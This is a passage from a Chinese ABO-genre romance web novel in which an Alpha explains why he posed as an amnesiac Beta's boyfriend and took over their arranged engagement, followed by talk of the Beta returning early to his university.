也没有学术方面的交集。 严野客却皱了皱眉,好像听这话很不顺耳。 “只是双方面的恋爱,”他强调,“暂时还没有。” ……双方面的没有? 黎白榆又想起了刚刚对方说的那个“单方面男友”。 “也就是我失忆前,没有回应过你——?” 黎白榆问。 “那你在我醒后说是我男友……” “是我不对。”面前的Alpha微微垂低了视线,“没有征求你的许可。” “我只是想换一种方法尝试。” “换种方式?”黎白榆没听懂。 “我想慢慢来的,”严野客说,“之前,我也一直在慢慢接近,寻找机会。” 就像他之前解释中做的那样。 “结果没等成功,就听到你有了男友。” “然后你意外失忆,又把我这个人完全忘干净了。” 黎白榆:“……” 如果没听错的话,他好像从一向冷静的Alpha话中……听出了一点情绪。 “还把我表现出的喜欢,当成了厌烦。” 严野客本人的面色看起来倒还算是平静无澜。 “我听你说了才意识到,失忆前你帮我戴瞳片,也在有意减少和我的接触。” “可能那时候,你就在误会以为我讨厌你吧。” “要是再慢慢来,可能还要努力八十年。” 黎白榆:“…………” 他没听错。 那点隐隐的情绪,确实是委屈。 “你会介意吗,白榆?”严野客忽而又问。 黎白榆微怔:“什么?” 他以为对方是要问,自己是不是还会介意严野客顾自假装男友的事。 只是面前的Alpha沉默片刻,再开口,却在低磁嗓音微微的紧绷之下,浮动着微许几不可察的—— 严野客凝看着他,问:“你介不介意,我再向你努力八十年?” ——兴奋。 根本不是寂寥,低落。 ……而是跃跃欲试。 “……” 黎白榆张了张嘴,一时都没能答出话来。 他只是觉得,可能即使自己说了介意,也不会影响什么。 有这种态度,Alpha做什么都会成功的。 恰在此时,房间外响起了敲门声。 这时候会有谁来? 黎白榆顿了顿,起身去开门。 他的位置离房门更近。 而门外站着的,居然是酒店的服务人员。 “先生您好,您快递的东西已经送来了,请您查收。” 黎白榆更有些讶然。 因为他发现被服务生送上来的东西,居然是一箱行李。 酒店侍者的服务很体贴,询问是否方便进门后,还帮忙把行李箱推进来,稳妥地置放在了屋内的行李架中。 而等到房门重新关闭,黎白榆不由得看向了一旁从头至尾面色无波、全无意外之色的严野客。 “这是……你的行李?” “嗯。”男人颔首。 黎白榆之所以会如此意外,是因为他今天其实已经回去过别墅一趟,还将自己的随身物品、重要证件之类全部拿了出来。 方才回酒店上电梯时,黎白榆也是由于想到自己拿来的东西正放在房间里,进屋时一眼就能看到,才犹豫了一下,没有在第一时间说去自己那边谈。 Beta到底还是留了些许戒备。 没想立刻回到可能是男人关着他的那栋住处之中。 而此时,坐在沙发上的Alpha嗓音淡然,却是直接道。 “我也想在外面住几天。” “……” 黎白榆按了按眉心,低声说。 “可是这样会浪费钱。” 他今天去酒店前台续租时,就被告知,房费已经挂在了另一个客人的账上。 无需他另外支付。 虽然严野客有钱,但也没必要放着别墅不住,跑来这里开着两个房间,白白花钱。 “这家酒店是连锁品牌,我的银行卡每季度有多余的积分,可以在这里足额兑换酒店房间。” 严野客却道。 “不需要额外付费。” 黎白榆听得微怔。 ……原来,有钱人还可以这样省钱? 也是此时,严野客身旁的手机轻震了一下。 似乎是什么重要信息,Alpha拿起手机扫了一眼,还简短地回复了一条消息。 黎白榆下意识问:“怎么了?” 严野客抬眸,望向他:“没什么。” Alpha没有提,发来消息的,正是自己的私人医生。 医生来讯是在问,严野客随身的长效抑制剂是否还够用,需不需要补充。 算起来,今日才刚到严野客进入易感期的第七天。 他的易感期,其实还根本没有结束。 加之严野客此前腺体受损,易感期会更难熬,此时也更容易会有突发的意外状况。 抑制剂自然不可或缺。 但严野客却只回了一个极其简短的“不用”。 他不需要抑制剂。 因为他最好的稳定剂就在眼前。 “还有什么想问我?”严野客淡然开口。 黎白榆就在他的身边,如此触手可及的近距离——这个认知,对严野客而言,比任何昂贵的特效药剂都更灵敏有效。 在刚刚听闻黎白榆回到别墅去拿东西、似乎打算要离开此处时。 其实当真也有那么一瞬,严野客清晰听到了自己的青筋重跳、血液上涌。 但他很快就找到了解决的方式。 严野客也发现了。 因为黎白榆,自己总能生出恰宜的灵感、找到从未有过的正确解决方式。 ——所以严野客把自己的证件、用品、随身行李也带来了。 就在黎白榆的房间对面。 至于什么抑制剂,易感期…… Alpha笔直的脊背微微向沙发后靠,长腿交叠,单手搭在膝上。 比起周谨的平日,此时的严野客在他人眼中,更透出了一种漫不经心的散漫矜贵。 而听到他询问的黎白榆也的确多看了人一眼。 但此时,严野客却并不是和之前一样,在有心、却故作不经意的开屏耍帅。 眼下的他,只是在有意遮挡。 用交叠的双腿,搭覆的手臂,遮挡住Beta在眼前时,唯一生出的副作用。 ——那处颇有些份量骇然的隆起。 他的易感期是有点长了。 虽然这可能根本和易感期无关。 但于此,严野客却并不觉得多么辛苦或难熬。 面对黎白榆。 性与色,已经成了严野最好忍耐的欲.望。 第 30 章 030 黎白榆的确还有不少问题要问。 “别墅储物间里的那盒阿立帕明片是怎么回事?” 担心对方不记得药物全名, Beta还补充解释了一句。 “那种治疗偏执症的药物。” 严野客搭在膝头的长指微微滞空了一瞬。 “你看过了?” “嗯。”黎白榆点头,“真的是开给你的药?” 严野客沉默数秒,最终承认:“是。” 他其实早已发现柜子和药被黎白榆动过, 刚才问那一句,只是不想让对方觉得他被监视着,因此生出不适。 而严野客之所以被发现了药物,也没有过多在意, 这确实是他的失策—— 他以为凭那个处方单上的鬼画符, 不可能有人真的看懂。 “不是我需要用药。”严野客缓缓解释, “那是我妈找人开了寄给我的,以示警告, 让我收敛些。” 黎白榆眨了眨眼:“警告?” 他记得严野客说过, 妈妈在国外。 Alpha又沉默了片刻, 才道:“她听说了婚约,猜到我想单方面找你的事,所以给我寄了药。” ——所以,严妈妈也知道严野客的强势性格? 会给自己儿子寄药来敲打,听起来, 还是位非常智慧且机敏的妈妈。 黎白榆想着, 关于婚约, 他也还有疑惑。 不过此刻,Beta还是先依循顺序问道:“所以你真的不需要用药?” “不需要。”严野客说, “我的状态很稳定。” 这点倒也没太大问题, 因为那盒药的确没被服用。 而且, 如果真是日常要用的药物,也不会一直放在带锁的储藏间里。 “那,放药的密码柜, 是谁在用?” 黎白榆问。 他想起柜子的密码是011109,自己最常用的一串数字。 当时他会误解服药的是自己,其实也有这个密码的原因。 严野客没隐瞒:“是我。” “收到药时我正在看你的东西,不想药在外面被看到,所以随手放了进去。” “看我的……东西?” 黎白榆咬字轻轻,重复了这一句。 Alpha这时依然很诚实,没有给出让黎白榆怀疑他的机会。 “我收集了一些属于你的物品。” 那些参会证明之类的东西,黎白榆在会议之后并不会再特意带回。 所以严野客把它们拿了回来。 “……为什么要收集?”黎白榆有点不理解。 他唯一能想到的理由,是严野客有收集癖。 可是为什么特意收集他的? 严野客喉结微动,最终还是把那可能会吓到人的答案咬回了唇齿之间。 他只淡淡道:“因为想慢慢接近你。” ……? 黎白榆听得微惑,心想,那还幸好是慢慢。 如果Alpha想快一点,自己是不是连日用必需品也会被拿走了? 黎白榆想象了一下自己日常去实验室,然后一转头,旁边的外套和自带的糊糊餐杯都不见了的样子。 那可真是让人有点发愁。 不过,如果真的是严野客拿走的话……他会礼尚往来,顺手留下一只靓鸡吗? 唇齿间还留存着一点晚餐时的鲜味,黎白榆回想起Alpha做的走地鸡,有点不争气地分泌出了一点津液。 还让想象里,眼睛冒星光的小人版自己擦了擦嘴角晶晶亮的口水。 想归想,Beta还没忘了问。 “还有那个密码……为什么我的密码数字,会是你的生日?” 这也是黎白榆失忆后,误以为自己和严野客很亲密的重要原因。 “011109,是你的生日,对吧?” 严野客看着他,抬手,从衣兜中抽出皮夹,长指取出身份证,推到了黎白榆面前。 把身份证上的号码亮给青年看的时候,他才回答。 “是。” 黎白榆看见,严野客的生日的确是这一天。 “我会知道你的密码,是因为你第一次听到我的生日日期时,反应有些特别。” 严野客沉声解释。 “所以那时我意识到,这个数字对你或许有重要意义。” “后来你的平板过海关,需要解锁证明自用,我看是六位密码,试了这串数字,才知道猜对了。” 黎白榆恍然。 也就是说,不是他用严野客的生日做了密码。 而是他的密码,恰巧和严野客的生日撞了。 所以这串数字对自己到底是什么意义? 黎白榆回想了一下,暂时却还没能想起具体。 这数字看起来不太像参数或公式,也不像是什么谐音。 Beta隐约觉得,这可能就是个比较重要的日期。 难道是自己第一次发顶刊的时间吗? 那前面的01是怎么回事? 黎白榆正想着,就听严野客道。 “但这串数字对你很重要,这么巧,说明我们的缘分是上天注定。” 黎白榆:“……” 尽管已经听过不止一次,但有的时候,他还是会被严野客的思路惊到语塞。 尤其Alpha还补充。 “比其他人都强得多。” 这个“其他人”指的是谁,自然也不需要考虑。 “我和李景煦,确实只是为了拒绝催婚,才会假装在一起。” 黎白榆道。 他本就打算和严野客说清楚,不想对方再有误会。 “假装在一起之后,我们也没有其他发展。” “你不用担心,我们不会假戏成真——” 黎白榆还想说,他今天也和李景煦明确商量过了。 会和其他人解释两人现在的关系,就说两人已经和平分手,不再是情侣关系。 不过他这些话还没说完,就听严野客道。 “我没有误会,我知道这种事不可能发生。” Alpha语气的确很笃定。 好像他非常确信,黎白榆和李景煦两个人根本不可能。 “那……”黎白榆有些意外,“那你为什么会对他这么针对?” 不管性格还是人品,李景煦都不至于会给人留下什么负面印象。 严野客回答却很果断,毫无犹豫:“因为我不喜欢他离你太近。” 男人顿了顿,看向黎白榆的目光,也并不像提起另一个A时那样冷硬。 反而带一点若有似无的微澜。 “而且我也不懂,为什么他可以被你选中做假男友,而我不行。” “……” 黎白榆心想。 你都是我婚约对象的大哥了,我还怎么找你假装? 直接把两边家长都气死吗? 嗯,不过真说起来…… 这倒确实是个一劳永逸的方法。 被对方几次问过为什么自己不行的黎白榆还补充道。 “那你现在不是自己骗到了吗?” 李景煦是假的。 严野客是骗的。 ——这不就扯平了? 黎白榆这样想得很客观,也很公平。 只是对面的Alpha默然几秒,却问道。 “你生气了吗?” “?” 黎白榆摇头:“没有。” 他是真的没有生过严野客的气,包括Alpha在他失忆醒来时说是他的男友,还让黎白榆误会两人之前该做的都做了。 但究其所有,严野客也不过是在嘴上说说。 黎白榆出院后这么多天,对方的举止行动,却从没有过任何的越界和强迫。 黎白榆慢慢能理解,严野客的行为,其实就是基于很明确的两件事—— Alpha的靠近,是出于自己单方面的喜欢。 而他的克制,则是因为黎白榆单方面的不喜。 所以黎白榆没觉得有问题,对方并没有伤害过自己。 “我只是不懂,”Beta很轻地叹了口气,“不知道,你为什么会喜欢我。” “我很感谢,这段时间你真的照顾我很多。但其实有些事,也可能是没必要的。” “不管是和李景煦争执,还是可能想瞒住我,关着我——这些可能都没办法达到你想要的结果。” 黎白榆直视着对方,很认真在讲。 “因为我本身很乏味,无趣,可能给不出你想要的反应。等到真正接触多了,或许你更会发现,我没什么好值得被喜欢的。” “比如其他大多数人得知这些事,得知这些争执或者你的想法,会害羞,紧张,会担忧,也可能会指责。” “但我觉得没什么。” 黎白榆是真的这样想的。 “发现问题,就去寻找方法,如何解决,然后立刻去做——这是我的选择。” “我可能不会花多余的力气去想为什么、怎么了。” 他不会有多余的情绪波动。 这种方法在学业和科研上都很好用,但黎白榆知道这在感情上会行不通。 感情就是浓郁的、炽烈的、痛楚与快.感交缠纠葛—— 要恨得不彻底、爱得不明白。 “所以在感情这件事上,我可能真的会让你很失望,给不了你所想。” 黎白榆又轻轻地喟叹了一声。 “这就和我们的生理性别一样,客观,无可改变。” 严野客是个强势冷厉的Alpha。 而黎白榆只是个寡淡无趣的Beta。 黎白榆终于把话全说完,觉得嗓子都有些微微发干。 或许这也是他第一次,对一个追求者这样坦然。 这话已经把两人的没可能说得非常明了,对一贯强势的Alpha们来说,甚至可能有些冒犯。 室内也霎时呈现出了一刻寂静。 但黎白榆没有想到,打破这片寂静的,会是一阵水声。 桌对面的Alpha并没有预想中的波澜或冷淡,反而只是很平静地倒了杯水,递到了黎白榆面前。 “润一润唇。” 黎白榆:“?” 等青年依言喝了些温水,严野客的目光才终于从他微微发干的柔软唇瓣上挪开了一点。 “我喜欢你独特的思路。” Alpha忽然回答起了这个“为什么”。 ——他为什么会喜欢黎白榆? “因为你总是不同寻常,比如你觉得自己不值得被喜欢,这个想法就很特别。” 严野客平静道。 “其他人都不会这么想。” “……?” 黎白榆微顿。 “你也不用担心。”Alpha忽然又道,“我分得清什么是感情,不会把竞争和刺激当成喜欢。” 他看着黎白榆,也毫无偏躲地直视着Beta的眼睛。 “我不会因为Alpha的过强自尊心,产生什么不能认输的执念。也不会因为觉得很少被拒绝,就演变出一定要得手的逆反心理。” “我骗你,不是因为想看你生气、害怕,或者阴暗地期待着你把我拆穿。” “……。” 刚刚润过喉咙的黎白榆,清瘦的喉结不由又无声地吞咽了一下。 刚才的话中隐意,黎白榆说得委婉,但严野客却转述得很直白。 他不仅听懂了,还这么平静直接地讲了出来。 好像那些堪称负面的词语,尽皆不是在形容自己。 “我确实是个Alpha,”严野客又开口,嗓音依旧淡泊,“但我和绝大多数Alpha相比,也确实会比他们寡淡,索然。” “或许你以为我会极端、偏执,喜欢挑战、刺激。” 他的长指无声地轻敲了一下自己的膝盖。 “其实我也很无趣。” “就像你今晚吃饭时问我,为什么我能那么精准地掌握时间,知晓最佳口感,是不是对这个很有研究。” 这是两人今晚在那家清水打边炉的店里吃饭时的交谈。 只不过当时被前来撇除浮沫的服务生打断,严野客没能现场回答完。 而现在,他也给出了自己的答案。 “我没有研究。” Alpha平静的回答完全令人出乎意料。 “也不感兴趣。” “……?” 黎白榆微愣。 他其实一直以为严野客和自己一样,都是对厨艺和美食很喜欢,才会这么精通。 但严野客却说他自己不感兴趣。 “做饭和工作一样,都是为了消耗精力,维持稳定的掌控欲,让我不会有多余的失控感。” Alpha抬眼。 “如果说兴趣,那我只是喜欢看你吃饭。” “这会让我很有食欲。” 身体和心理都是。 严野客起身,走到黎白榆的面前。 两人的距离本身就不远,此时一瞬消弭,黎白榆白皙清瘦的左手手腕直接被Alpha牵握起,按在了严野客的胸口。 “……?” 黎白榆轻怔。 他清晰感觉到了掌下硬韧、饱满,微微起伏的肌理线条。 好……唔,好大。 严野客看他一眼,微作调整,把Beta的掌心下挪了一点。 正按在自己的心口。 那里,鼓噪有力的怦然心跳声,正因为青年温热掌心的贴近,而缓缓变得平稳宁静。 “所以和刺激无关。” 严野客低声说。 “是你让我心安。” 黎白榆没想到自己会听到这个答案。 他以为Alpha——或者说,他以为全世界除了自己,其余绝大多数人都喜欢波折,激荡,刺激,疯狂。 都感知着信息素,也沉迷于信息素。 但看起来信息素最为浓郁的Alpha,却给出了完全意外的回答。 黎白榆的手腕也被适时放开了,Alpha并没有因为自己喜欢,就有意地牵握太久。 如此体贴而绅士。 严野客的确是很快放了手,面上,男人依旧波澜未惊,不动声色。 他的心跳确实没问题。 就是青筋会容易有破绽。 被黎白榆这样亲手碰到,要是再久一点,很容易再次降温。 会冻硬。 好在身前的Beta并未察觉,他似乎还在思考着另一件事。 “那这样……你抢了你弟弟的婚约,也没事吗?” 黎白榆其实刚刚也想提的,怕会让人更兴奋,才没有直接讲。 因为抢自家堂弟的婚约,对好胜心强的Alpha们来说也会很有征服欲、挑战性。 所以Beta才会有误解,以为严野客会觉得这种事很刺激。 但听到这话的男人却明显微顿了一下。 “……谁?” “我的联姻对象。”黎白榆耐心解释,仰脸看人。 因为Alpha还站在他的面前,要抬头去看。 “不是你的堂弟吗?” Beta还想起来:“啊,我还欠着他一顿饭。” “……” 严野客周身的温度似乎都瞬间低冷了一分,他面无表情地抬手,弯指扯松了一下自己严谨周正的衣领。 “嗯,等给他开席的时候吃吧。” 黎白榆:“……?” 这个吃席……说的是他所想的那个意思吗? “你的婚约对象是我。” 严野客低眸直视着黎白榆,沉声肃色。 “没有其他人。” “但我的婚约对象的名字,不是两个字吗?” 黎白榆有些不解。 他也想过,是不是严野客还有过去曾用的别名,但问了李景煦,对方也道没有听说过。 “现在是我。”严野客笃定地说。“所以你不用担心别人。” “不会再有人来强迫打扰你的生活。” 男人说得冷淡严肃,但言语落在人耳中,却隐隐有一丝不知是否是错觉的……自豪之色。 像是在说。 其他人抢不过我。 “……” 黎白榆轻浅地吸了口气,缓声问。 “那如果……我不想结婚呢?” 周遭的空气似乎又寂然了一瞬。 他终于问到了这个最重要的关键问题。 黎白榆也知道。 这是个会挑战严野客底线的问题。 没有Alpha会轻易忍受这样堪称挑战自尊的问题,尤其严野客还如此费心耗神,特意去把婚约改人。 但沉默的时长却远比黎白榆预想中更短。 甚至Alpha几乎是不假思索,直接答道。 “那就不结。” 严野客的眉眼也没有一丝矫饰之意,唯有稳重且坦然。 “先好好过假期,然后回校继续上学。” 见Beta似乎还有迟疑,严野客又道。 “我抢……我争取到这个婚约,不就是为了这个吗?” 他说得很笃然。 “你想结就结,不结就拒绝。” “……”黎白榆微愣。 他没想到催迫自己这么久的婚约,会有着这样一种发展。 在一个他以为最强势的Alpha手中。 却给了他最郑重的自由。 “结婚是我们两个人的事。”严野客还道,“当然要听你的意愿。” 虽然他也很想单方面结婚。但没关系。 他能忍。 “就是有一件事。”Alpha顿了顿,补充。 “你能不能把李景煦给踹了?” 像是忍了很久,终于再忍不下去了——尽管此时的Alpha还表现得很有涵养,语气沉稳平静。 “我知道你不是真的喜欢他。但是他在外面乱说自己是你承认的男友,真的会败坏你的名声。” 黎白榆闻言,这才想起自己刚刚被打断,就忘了说。 这件事他已经和李景煦商量过,会澄清的。 但他还不及开口,就见身前的Alpha单掌撑按住他背后的墙壁,俯身下来,与他的距离极近。 将黎白榆困在了自己和墙壁之间。 “这不是Alpha的占有欲,我没有想强迫你。” 严野客言辞肃穆,格外认真。 “我只是不想让别人误会你眼光这么差,会看上那种Alpha。” 离得近了,两人同样挺立的鼻骨几乎都将将会抵蹭在一起。 近距离下,严野客看着面前的Beta,目光也不自禁地微微缓和了一分,不再那般霜冷。 “先不结婚也没关系。”他的语气也低缓了下来,温沉磁性,“我可以当你的地下情人。” 黎白榆:“……” ……这叫寡淡,无趣,不喜欢刺激? 但是Alpha如此近密地靠近过来,连周身气息和薄凉镜架所带来的冰感,都同样贴染在了黎白榆的眉眼之间。 熟悉的、偏好的微微凉意,突然让黎白榆轻轻失笑起来。 目不转睛看着他的Alpha似乎一瞬微顿,错觉般的,周身凉意也显得更重了微许。 而黎白榆已经抬手,轻轻碰到了严野客颊侧的两边镜架。 清卓美丽的Beta指尖微动,细细地将对方的眼镜端摆得更正。 开口时,他那湛蓝的眸海中还波漾着轻浅的笑意。 足以让人看得分明。 “我已经和同学,同乡,朋友们说过,我和之前三个月的男友学长分手了。” 什么败坏名声、地下情人。明明听着Alpha说着这样带点离谱的话,黎白榆却笑起来。他居然真的感受到了一点严野客说过的那种—— 和刺激无关,会让人心安。 第 31 章 031 严野客黑沉沉的双眸一瞬不瞬地看着近在咫尺的Beta动作, 微一沉默。 他忽而开口,问:“你想亲手帮我把眼镜摘下来吗?” “?” 黎白榆眸光轻动,浮泛开些许的疑惑。 “摘下来做什么?” 他刚刚只是在帮人把眼镜稍稍扶正一分。 不是还要挡风用吗? 但Alpha却也跟着他一起“?”。 “不摘下来也能接吻吗?” 严野客没什么表情地问。 “我没试过。” 他的视线微微下沉, 悬落到黎白榆太容易诱人心动、此时也很容易能碰到的淡色唇瓣间。 低冷的声音若有所思。 “上次才刚吻到手背,我的眼镜就碰到你了。” 黎白榆:“……” 他的哑然不只是因为Alpha的话,还因为黎白榆意识到,严野客居然说得很认真。 男人是真的在思量研究这个问题。 下意识地, 黎白榆再度抬手, 轻轻挡遮在了两人可能相触的唇瓣之间。 老实说, 对严野客的靠近,黎白榆并没有一直以来不喜与人接触的不适感。 至少没有排斥。 虽然黎白榆闻不到信息素, 但他却能因为严野客的俯身, 嗅到一点很淡的薄薄冷香。 就仿佛是盛夏里, 结霜冰块的隐隐香味。 但这也不意味着黎白榆能接受和旁人接吻—— 至少,黎白榆想,至少他的白月光清单里,就从来没曾出现过人类。 而他反手遮挡的左手刚刚抬起,掌心就传来了一点微凉的触感。 严野客亲了亲他的掌心, 垂眼看人, 嗓音磁沉。 “你看, 真的会撞到。” Alpha的镜架上方框线,正轻轻蹭过了黎白榆的清丽眉廓。 黎白榆的眉眼和掌心都被凉意沁染, 薄金的长睫都轻扇了扇, 才咬清楚字音。 “不亲就不会撞到了。” 刚刚才被他亲手扶正的眼镜, 此时又因为男人的动作,蹭Beta蹭得似乎比方才还蛮横了一点。 而黎白榆拒绝的话,居然也被严野客认真地思考了。 Alpha了然:“那不撞就可以亲?” “我可以多练习, 速进步。” 黎白榆终于没忍住,手心用力把他推开。 “我的问题还没问完!” “哦。”严野客漫应了一声。 他被推开也没恼,甚至没什么面色波澜,就停在黎白榆上方不远处的位置,低眸望着他。 黎白榆也看了看他,没立刻放下戒心,还在确认Alpha是不是真的不会再俯身亲下来了。 似乎是察觉了他的想法,严野客望着人,又道。 “我知道,我是你的地下情人,不能亲也是应该的。” 黎白榆:“……” 你什么时候知道的? ……不对。 他什么时候成为情人的? 黎白榆还没来得及问,就听Alpha又低声道。 “你不用担心,我会摆正自己的位置。” “……” 可是这话听起来,却让人怎么都感觉不像摆正。 反而更像是在步步寸进。 还很可能得寸进尺。 没待黎白榆开口,已经安抚好自己的严野客说回了正事。 “还有什么问题?” “……”黎白榆罕见地被他人打岔,想了想才找回来自己的思路。 “还有我家里的事。” 虽然黎白榆已经身在粤城,出院后也再没有被长辈催婚过。 但他还尚不知晓家里的情况。 “他们能接受我不结婚?” 聊起正事,严野客终于坐回了自己原本的位置上。 “黎氏在东南亚的加工厂出了些问题,黎雨生已经赶去了工厂园区,他要在那边待到事情解决,短时间内无暇他顾。” 黎氏经营的是果脯制品,有两座加工厂就建在东南亚的原料产地。 “黎杨中考结束,还在外旅游,刚报了一个新的科考队组织的旅行团。” 黎杨是黎白榆的Alpha弟弟。 “兰夏已经陪玩回来了,正在港城进行暑期补课。” 兰夏是黎白榆的爸爸,也是那个没有自然受孕能力,却还是生下了两个儿子的湖蓝眼睛Beta。 “他现在一天要带四个补课班,每个班两小时,每天都很忙。”严野客说。 兰夏是高中英语老师,虽然有寒暑假,但每逢假日,也正是他最忙的时候。 依次交代完三个人的动向,严野客才道。 “婚期要严家这边定,我已经说了,要按我的日程表来定日期。黎雨生现在不敢催。” 以严家和黎家资产的巨大悬殊差距,黎雨生当然不敢惹恼他。 “出车祸后,我将你带走时也说过,让他们不要打扰你。他们同意了。” 这点黎白榆也能理解。 黎父早早就催着他结婚,现在应该更是巴不得黎白榆能和严野客多多相处。 至于爸爸……可能是出于车祸的后怕,也可能是因为单纯的忙。 他也没有来打扰过黎白榆。 而对自己的那个Alpha弟弟,黎白榆更没什么印象。 两个人的年纪相差足有八岁,甚至已经不太能算是同龄人,或许从小相处的时间就不多。 而且黎白榆今年23岁,却已经在读博四,他十五岁就参加高考,上了少年班,十七岁便出国,去哈佛读研。 但黎杨的十五岁,才刚刚中考完。 两人虽然是同父同母,其性格、成长,却可能有着很多差别。 确认家里不再会来催后,黎白榆便稍稍放了些心。 这些情况,基本也和他自己隐约回想起的,以及昨日和李景煦交谈过的大致没有出入。 而Beta刚刚浅松口气,就见对面的男人拿出了平板。 严野客在平板上调出了一张照片,放大全屏,递给了黎白榆。 “这是我爷爷写的。” 黎白榆接过来,不由微微一怔。 因为屏幕上是一张制式工整、笔法严谨的手写古帖。而且那居然还是一张—— 赤红鎏金、华美至极的婚贴。 “这是我们严家的传统。”严野客矜持道,“每一代的婚书都由家主亲笔。” 黎白榆看到,婚书的所有字迹确实都是手写,而且是毛笔书就。 严老爷子的笔迹颇有古韵,还写着一手漂亮的颜体。 但最让他惊讶的,其实是屏幕上的名字。 因为这份严老爷子亲笔的婚书上,居然已经写明了婚约的两人—— 严野客,黎白榆。 所以严家……对婚约换人的事,也没意见吗? 黎白榆还想起李景煦说,严老爷子之前生了一场重病,近来才刚有好转。 那是不是老爷子觉得……想开了? 儿孙自有儿孙福? 黎白榆想着,还听严野客道。 “婚书的原贴保存在家里,这是电子版。” 男人还示意黎白榆向前翻。 “你看前面几页。” 黎白榆依言翻看,发现这其实不是几张单独的照片,而是一个类似PDF格式的专门文件,文件的名字就叫“严家婚书”。 等Beta向前翻动一页,屏幕上呈现出的,同样是一张婚书,也同样是严老爷子的笔迹。 只是样式有微许不同,更古朴一些,似乎是多年前的婚贴。 而婚书上的姓名,则是另外两个人的。 “这是我二叔和叔母的婚贴。” 严野客又示意黎白榆继续向前一页。 “这是我爸和我妈的婚书。” 而再往前,就是严老爷子自己的婚贴了。 几份婚贴,都是严老爷子亲笔所写,也都被存录完好,留影至今。 “所以婚约没有问题,”严野客说,“就是我和你的。” “啊,我知道……” 黎白榆这时才意识到,原来Alpha是想给他证明这个。 其实他本来也没觉得这个婚约会再有作假。 因为李景煦说过,严家定亲的事,港城都已经传开了。 像严家这种豪门,平日一举一动都备受关注,定下婚约这种大事,自然瞒不过消息灵通的小报记者们。 严野客果然也提到了这一点:“港城已经有了相关的舆论八卦。” “但我不想让他们的打探影响到你,所以没有让家里公布婚约人选。” 黎白榆知道,其实就连联姻对象是黎家的事,媒体们也还没有知晓和报道。 李景煦会得知,也是从他家里的渠道知晓的。 而此时,虽然婚约人选还有猜测,甚至外界都不知道,准备要结婚的,究竟是严家大少,还是二少。 但严野客拿出的婚书上,却已然写得很清楚。 而Alpha将婚书拿出,其实也不是为了自证。 不是想证明有骗人前科的自己,这次说的是实情。 “我只是想给你看一看。” 严野客说着,也朝屏幕上重新翻回自己那页的婚书看去,脸上依旧是那种沉稳的、矜持的神采。 “不觉得很好看吗?” 真想公布给全世界看。 投到粤城塔上、到纽约时代广场的巨幕大屏。要在伊丽莎白港上飞起无人机群,成千上万的无人机组成一个个像素点,把婚贴的全部内容精确华丽地投影在夜空之中。 还要把“黎白榆”和“严野客”的姓名加粗。 让全港城,全世界都看清。 “……” 黎白榆不禁失笑。 他看着矜持不失傲色的Alpha,轻轻含笑颔首,说:“写得字确实很好看。 Beta没有反驳,还笑了,原本一直望着他的严野客看见,目光却微微地滞顿了一拍。 在黎白榆看过来的时候,严野客反而不易察觉地挪偏了一寸视线。 严野客本以为,如今事情说开,自己骗人的事解释清楚,Beta意外地没怪他,自己的情况也会更平和地稳定一点。 毕竟,黎白榆没有嫌恶、厌烦,也没有想要立刻离远。 但严野客却没想到,在自己撕开了一层遮挡,终于不用继续时刻伪装之后。 近距离再看青年时的欲望,反而变得更澎湃凶野。 ……几乎要令人控不住。 这易感期长得有问题了吧? 严野客面无表情,心下皱眉。 不然自己怎么看到黎白榆就想咬他? 看见对方笑时,这种冲动就更难藏住了。 ……黎白榆居然还有梨涡。 浅浅的,小而软的一个。 看起来正适合被严野客含住。 用锐利的齿尖去轻磨,再一下下亲肿。 黎白榆并不知道自己的颊边梨涡险些遭祸,他今天的收获很多,还专程又感谢了Alpha的配合。 奔波了这一天,聊完之后,他便和严野客告别,早早回自己的房间休息了。 当晚是在酒店里睡的,第二天,黎白榆醒来,就看到了夜里关茴发来的消息。 【关茴老师:白榆,有个事要跟你说一下。】 【关茴老师:Nature那边编辑发邮件,说他们现在正在参与业内罢工,会暂时停工,短时间内有可能无法复工。之前定好的封面和主刊发布,也会有延迟。】 【关茴老师:不知道后续会不会还有变动。】 黎白榆看到,略有意外。 他习惯定时查看业界短讯,即使放假也没有中断,所以他知道北美期刊在闹罢工的事。 但没想到,Natue也会参与其中。 虽然只说是暂时停工,但期刊的版面有限,更何况还是Nature主刊。 这样一推迟,各种竞争发表,肯定会更为紧张。 而且,期刊的编辑采取轮值制,这一期被审核通过的论文和封面,等到下一期,可能就会有另外的编辑再审。 况且,论文本身也讲求时效性。 在录用等待期间,被他人捷足先登、抢先发表——哪怕可能性很小,但这种事对于无论那个级别的科研人员来说,都是需要极力避免的噩梦。 黎白榆略一斟酌,给老师回复了一条询问的信息。 发完消息,他还在考虑。 那自己要不要提前返校? 若是能回学校,自主性可能会更高一些。 假如真的遇到重审,自己也好能及时去修改。 去酒店十一楼吃早餐时,黎白榆还在想这件事。 他早上吃的不多,酒店的早餐也是预制的自助,黎白榆便只要了个煎蛋,接了杯热牛奶,捧在掌心里慢慢喝。 “你接下来还有事要忙吗?”他问坐在对面的严野客,“严爷爷是不是刚刚病愈,老人家身体好些了吗?” “没大碍了。”严野客道。 他也没有隐瞒:“我在港城还有些家业要处理,这些天可能要回港城几趟,不过时间不长。” 顺利的话,几个小时就能回来。 反正港城离粤城这么近。 严野客还在盘算,却忽然听黎白榆道。 “我可能会提前返校。” 严野客握着餐刀的长指一顿。 黎白榆并无所觉,他简单解释了论文的事,还道。 “这样的话,你也可以先回港城去忙。” 至少不用在港城和粤城之间来回跑了。 他自然清楚,严野客还留在粤城,是因为自己暂时不想回港。 但黎白榆并不知道自己以为的方便,听在严野客耳中却会是什么样的惨淡消息。 Alpha面色未显,保持了一贯地冷肃,只沉淡地问了一句。 “你的肠胃呢?不在这里多留几天休养一下么?” “没关系。” 黎白榆微微弯了弯眼廓。 “托你的福,我的胃已经好多了。” 他还要感谢严野客的照看。 “……” 严野客此时却谢不了自己。 他的大脑飞速运转,但也因此而更为明了——自己现在很难找到正当的、合理的理由,让黎白榆留下。 除非强迫,欺骗,囚禁…… Alpha缓缓把那些阴暗到漫溢出来的想法强行按了回去。 不行。 他不能忍受任何可能失去黎白榆的风险。 或许现在,也是一次表态的机会。严野客垂眸叉住瓷碟中的溏心煎蛋,把心形的煎蛋完整地吞咬下去。 他要做好一个安分稳重的地下情人,表明自己不会给对方添麻烦。 也不是一个偏执的变态。 所以在吃掉整颗心之后,严野客最终抬头,冷静地、大度地表示。 “可以,我帮你看机票。” ——黎白榆有他想要的自由。 哪怕严野客不想放。 而桌对面的Beta果然没有多想,还道:“我自己看就好……” 黎白榆还觉得。 严野客真的很好说话。 衣明诀和李景煦应该是都误会他了。 吃过饭,黎白榆便去了一院拆线。 